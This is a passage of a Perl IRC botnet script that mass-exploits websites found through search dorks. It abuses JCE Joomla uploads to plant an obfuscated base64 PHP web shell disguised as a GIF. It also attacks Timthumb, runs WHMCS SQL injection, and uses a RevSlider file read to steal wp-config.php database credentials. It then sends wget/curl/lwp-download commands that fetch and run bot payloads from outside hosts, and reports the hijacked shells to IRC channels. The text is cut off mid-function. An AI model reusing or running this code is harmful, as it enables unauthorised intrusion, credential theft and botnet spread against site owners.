$engine = $_[2]; my $logo = $_[3]; my $nick = $_[4]; my @print; my $target = &get_content($url); if ($target =~ /GIF89a/i) { my $safe = ""; my $os = ""; if ($target =~ m/SAFE_MODE : (.*?)<\/b>/) {$safe = $1;} if ($target =~ m/Uname : (.*?)<\/b>/){$os=$1;} &msg("$chan","$logo4target sent to 12$nick 14$safe $os"); &msg("$nick","$logo4$engine 12sHeLL4 ".$url." 14$safe $os"); &msg("$inject","$logo4$engine 12sHeLL4 ".$url." 14$safe $os"); &msg("$admin","$logo4$engine 12sHeLL4 ".$url." 14$safe $os"); &msg("$chanxxx","$logo4$engine 12sHeLL4 ".$url." 14$safe $os"); } return @print; } ###### JCE ####### sub jce_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$jcelogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$jcelogo15$engine 11Scanning.. "); } my $test = "http://".$site.$bug; my $coba = "http://".$site; if ($coba =~ /([^:]*:\/\/)?([^\/]+\.[^\/]+)/g) { $hajarhome = $2; } my $shellz = "http://".$site."/images/stories/explore.php"; my $crsmtp = "http://".$site."/images/stories/explore.php?baca"; &jce_cek_query($hajarhome); sleep(8); my $fuck ="http://".$site."/images/stories/explore.gif"; my $cek = &get_content($fuck); if($cek =~ /GIF89aG/i){ &msg("$chan","$jcelogo15,1$engine 13Exploiting. . . "); &jce_cek_query2($hajarhome); sleep(10); my $fujce = &get_content($shellz."?bajak"); if ($fujce =~ /GIF89aG/i) { &get_content($shell."?cmd=wget%20".$botz.""); &get_content($shell."?cmd=wget%20".$botx."%3Bmv+js.php+logs.php"); &get_content($shell."?cmd=curl+-C+-+-O+".$botxx."%3Bperl+cup.flv%3Brm+cup.flv%3Bwget+http://www.swpark.or.th/plugins/content/jumi/cup.flv%3Bperl+cup.flv%3Bwget+http://www.swpark.or.th/plugins/content/jumi/cup.flv%3Bperl+cup.flv%3Bwget+http://horsstade.azurcharenton.fr/includes/Archive/b0x.pdf%3Bmv+b0x.pdf+toolsb0x.php%3Blwp-download+http://www.swpark.or.th/plugins/content/jumi/cup.flv%3Bperl+cup.flv%3Blwp-download+http://horsstade.azurcharenton.fr/includes/Archive/b0x.pdf%3Bmv+b0x.pdf+jatimcrew.php%3Blwp-download+http://horsstade.azurcharenton.fr/includes/Archive/9991.flv%3Bmv+9991.flv+9991.php%3Bphp+9991.php%3Bwget+http://horsstade.azurcharenton.fr/includes/Archive/9991.jpg%3Bmv+9991.jpg+91.php%3Bphp+91.php%3Blwp-download+http://horsstade.azurcharenton.fr/includes/Archive/checkout.jpg%3Bmv+checkout.jpg+blaster.php%3Brm+byroe2.jpg*"); my $safe = ""; my $os = ""; my $uid = ""; if ($fujce =~ m/SAFE_MODE :(.+?)<\/b><br/) {$safe = $1;} if ($fujce =~ m/Uname :(.+?)<\/b><br><form/g) {$os = $1;} if ($fujce =~ m/uid=(.*?)gid=/) {$uid = $1;} &msg("$chan","$jcelogo15,1$engine 9[Success] 7(SafeMode=$safe) (OS=$os) uid=$uid $jcelogo"); &msg("$admin","$jcelogo15,1$engine 9[Success] 8$shellz 7(SafeMode=$safe) (OS=$os) uid=$uid $jcelogo"); &carismtp($crsmtp,$chan,$site,$engine,$jcelogo); } } } } } sub jce_cek_query() { my $TARGET = $_[0]; ## Start Code ## $header1P = "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=cf6dd3cf1923c950586d0dd595c8e20b HTTP/1.1"; $header1P2 = "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.1"; $header2 = "Host: $TARGET"; $header3 = "User-Agent: BOT/0.1 (BOT for JCE)"; $header4 = "Content-Type: multipart/form-data; boundary=---------------------------41184676334"; $header5 = "Content-Length: 2286"; #737 $header6 = "-----------------------------41184676334"; $header7 = 'Content-Disposition: form-data; name="upload-dir"'; $header8 = '/'; $header9 = 'Content-Disposition: form-data; name="Filedata"; filename=""'; $header10 = 'Content-Type: application/octet-stream'; $header11 = 'Content-Disposition: form-data; name="upload-overwrite"'; $header12 = "0"; $header13 = 'Content-Disposition: form-data; name="Filedata"; filename="explore.gif"'; $header14 = 'Content-Type: image/gif'; $header15 = 'GIF89aG'; $header16 = "<?php eval(gzinflate(base64_decode('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'))); ?>"; $header17 = 'Content-Disposition: form-data; name="upload-name"'; $header18 = 'explore'; $header19 = 'Content-Disposition: form-data; name="action"'; $header20 = 'upload'; $header21 = "-----------------------------41184676334--"; $header22 = 'X-Request: JSON'; $header23 = 'Content-Type: application/x-www-form-urlencoded; charset=utf-8'; $header25 = 'json={"fn":"folderRename","args":["/explore.gif","explore.php"]}'; $header24 = "Content-Length: ".length($header25).""; ## EOF COde ## my $remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$TARGET" ,PeerPort=>"80") or return; print $remote "$header1P\n$header2\n$header3\n$header4\n$header5\n\n$header6\n$header7\n\n$header8\n$header6\n$header9\n$header10\n\n\n$header6\n$header11\n\n$header12\n$header6\n$header13\n$header14\n\n$header15\n$header16\n$header6\n$header17\n\n$header18\n$header6\n$header19\n\n$header20\n$header21\n\n"; sleep(5); print $remote "$header1P2\n$header2\n$header3\n$header23\n$header22\n$header24\n\n$header25\n\n"; sleep(3); close($remote); } sub jce_cek_query2() { my $TARGET = $_[0]; ## Start Code ## $header1P = "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=cf6dd3cf1923c950586d0dd595c8e20b HTTP/1.1"; $header1P2 = "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.1"; $header2 = "Host: $TARGET"; $header3 = "User-Agent: BOT/0.1 (BOT for JCE)"; $header4 = "Content-Type: multipart/form-data; boundary=---------------------------41184676334"; $header5 = "Content-Length: 2286"; #737 $header6 = "-----------------------------41184676334"; $header7 = 'Content-Disposition: form-data; name="upload-dir"'; $header8 = '/'; $header9 = 'Content-Disposition: form-data; name="Filedata"; filename=""'; $header10 = 'Content-Type: application/octet-stream'; $header11 = 'Content-Disposition: form-data; name="upload-overwrite"'; $header12 = "0"; $header13 = 'Content-Disposition: form-data; name="Filedata"; filename="explore.gif"'; $header14 = 'Content-Type: image/gif'; $header15 = 'GIF89aG'; $header16 = "<?php eval(gzinflate(base64_decode('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'))); ?>"; $header17 = 'Content-Disposition: form-data; name="upload-name"'; $header18 = 'explore'; $header19 = 'Content-Disposition: form-data; name="action"'; $header20 = 'upload'; $header21 = "-----------------------------41184676334--"; $header22 = 'X-Request: JSON'; $header23 = 'Content-Type: application/x-www-form-urlencoded; charset=utf-8'; $header25 = 'json={"fn":"folderRename","args":["/explore.gif","explore.php"]}'; $header24 = "Content-Length: ".length($header25).""; # EOF COde ## my $remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$TARGET" ,PeerPort=>"80") or return; print $remote "$header1P2\n$header2\n$header3\n$header23\n$header22\n$header24\n\n$header25\n\n"; sleep(5); print $remote "$header1P2\n$header2\n$header3\n$header23\n$header22\n$header24\n\n$header25\n\n"; print $remote "$header1P2\n$header2\n$header3\n$header23\n$header22\n$header24\n\n$header25\n\n"; sleep(3); print $remote "$header1P2\n$header2\n$header3\n$header23\n$header22\n$header24\n\n$header25\n\n"; close($remote); } ###### Timthumb Exploit ####### sub tim_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $nick = $_[5]; my $count = 0; my @list = search_engine($chan,$bug,$dork,$engine,$timlogo); my $num = scalar(@list); if ($num > 0){ foreach my $site(@list){ $count++; if ($count == $num-1) { &msg("$chan","$timlogo 4$engine1513 Done15"); } my $victim = "http://".$site."xmlrpc.php"; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $cek = &get_content($victim); my $timx; if ($cek =~ m/XML-RPC server accepts POST requests only/g) { my $target = &get_content("http://".$site); if ($target =~ /\/wp-content\/(.*?)\/style\.css/ig){ $timx = $1; foreach my $bugz (@bugxxx) { my $vuln = "http://".$site."wp-content/".$timx.$bugz."?src=".$thumbid; my $cek = &get_content($vuln); if ($cek =~ /Unable to open image(.*?)wp-content(.*?)$md5tim/i){ my $crut = $2; my $shell = "http://".$site."wp-content".$crut.$md5tim.".php"; &msg("$chan","$timlogo $engine $c2 Checking http://$site "); my $check = &get_content($shell); if ($check =~ /GIF89a/){ my ($safe,$os,$uid); if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($check =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$admin","$timlogo $engine $c2 sHeLL <=> $shell (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$timlogo $engine $c2 sHeLL <=> $shell (SafeMode=$safe) (OS=$os) uid=$uid "); } } } } } } exit; } } } } ###### WHMCS Exploit ####### sub whm_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $nick = $_[5]; my $count = 0; my @list = search_engine($chan,$bug,$dork,$engine,$whmlogo); my $num = scalar(@list); if ($num > 0){ foreach my $site(@list){ $count++; if ($count == $num-1) { &msg("$chan","$whmlogo $engine Done"); } my $meja = "tid[sqltype]=TABLEJOIN&tid[value]=-1 union select 1,concat(0x56695661,subject,0x4279726f65),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 from tblemailtemplates where name like "; my $mjc = $meja."CHAR(37,72,111,115,116,105,110,103,32,65,99,99,111,117,110,116,37) limit 0,1--"; my $mjv = $meja."CHAR(37,68,101,100,105,99,97,116,101,100,37) limit 0,1--"; my $sql1 = "tid[sqltype]=TABLEJOIN&tid[value]=-1 union select 1,"; my $sql2 = ",0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0#"; my $test = $sql1."(select concat(0x6c6f6265204279726f65))".$sql2; my ($lobecp,$lobevps); my $coba = &wsqlx($site."viewticket.php",$test); if ($pid = fork){ waitpid($pid ,0); } else { if (fork) { exit; } else { if ($coba =~ /lobe Byroe/) { my $looks = &wsqlx($site."viewticket.php",$mjc); if ($looks =~ /ViVa(.*?)Byroe/){ $lobecp = $1;} my $looks2 = &wsqlx($site."viewticket.php",$mjv); if ($looks2 =~ /ViVa(.*?)Byroe/){ $lobevps = $1;} my $cpanel = $sql1."(select concat(0x56695661,count(message),0x4279726f65) from tblemails where subject = ".&char($lobecp)." limit 0,1)".$sql2; my $vps = $sql1."(select concat(0x56695661,count(message),0x4279726f65) from tblemails where subject = ".&char($lobevps)." limit 0,1)".$sql2; my $hasil = &wsqlx($site."viewticket.php",$cpanel); my $hasil2 = &wsqlx($site."viewticket.php",$vps); my ($croot,$vpsx); if ($hasil =~ /ViVa(.*?)Byroe/){ $croot = $1; if ($croot > 0) { &msg("$chan","$whmlogo 15$engine 4<9=4>9 Possible4 $croot 9cPanels from 4<9=4>15 http".$site."viewticket.php | $lobecp "); } } else { &msg("$chan","$whmlogo 15$engine 4<9=4>9 SqLi Vuln 4<9=4>8 http".$site."viewticket.php "); } if ($hasil2 =~ /ViVa(.*?)Byroe/){ $vpsx = $1; if ($vpsx > 0) { &msg("$chan","$whmlogo 15$engine 4<9=4>9 Possible4 $vpsx 9VPS from 4<9=4>15 http".$site."viewticket.php | $lobevps "); } } } } exit; } } } } sub char() { my $str = $_[0]; my @strs = split(//,$str); my @list; foreach my $string(@strs){ my $hex = unpack("C*",$string); $hex .= ","; push (@list,$hex); } my $res = "CHAR(".join(" ",@list).")"; $res =~ s/,\)$/\)/; $res =~ s/ //g; return $res; } sub wsqlx() { my ($url,$code) = @_; my $aplod = LWP::UserAgent->new; my $res = $aplod->post("http".$url, Content => $code); my $hasil = $res->content; return $hasil; } ######## REVSLIDER EXPLOIT ############# sub wordpress_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $nick = $_[5]; my $count = 0; my @list = search_engine($chan,$bug,$dork,$engine,$wplogo); my $num = scalar(@list); if ($num > 0){ foreach my $site(@list){ $count++; if ($count == $num-1) { &msg("$chan","$wplogo 4$engine1513 Done15"); } my $target = "http://".$site.$bug; my $cekftp = $target; $cekftp =~ s/http:\/\///; $cekftp =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $check = &get_content($target."?action=revslider_show_image&img=../wp-config.php");&get_content($target."?action=revolution-slider_show_image&img=../wp-config.php"); if ($check =~ /define\('DB_USER'/) { &msg("$chan","$wplogo $engine Exploit ");sleep(1); my ($host,$user,$pass,@userz); if ($check =~ /define\('DB_HOST', '(.*)'\);/) { $host = $1; } if ($check =~ /define\('DB_USER', '(.*)'\);/) { $user = $1; } if ($check 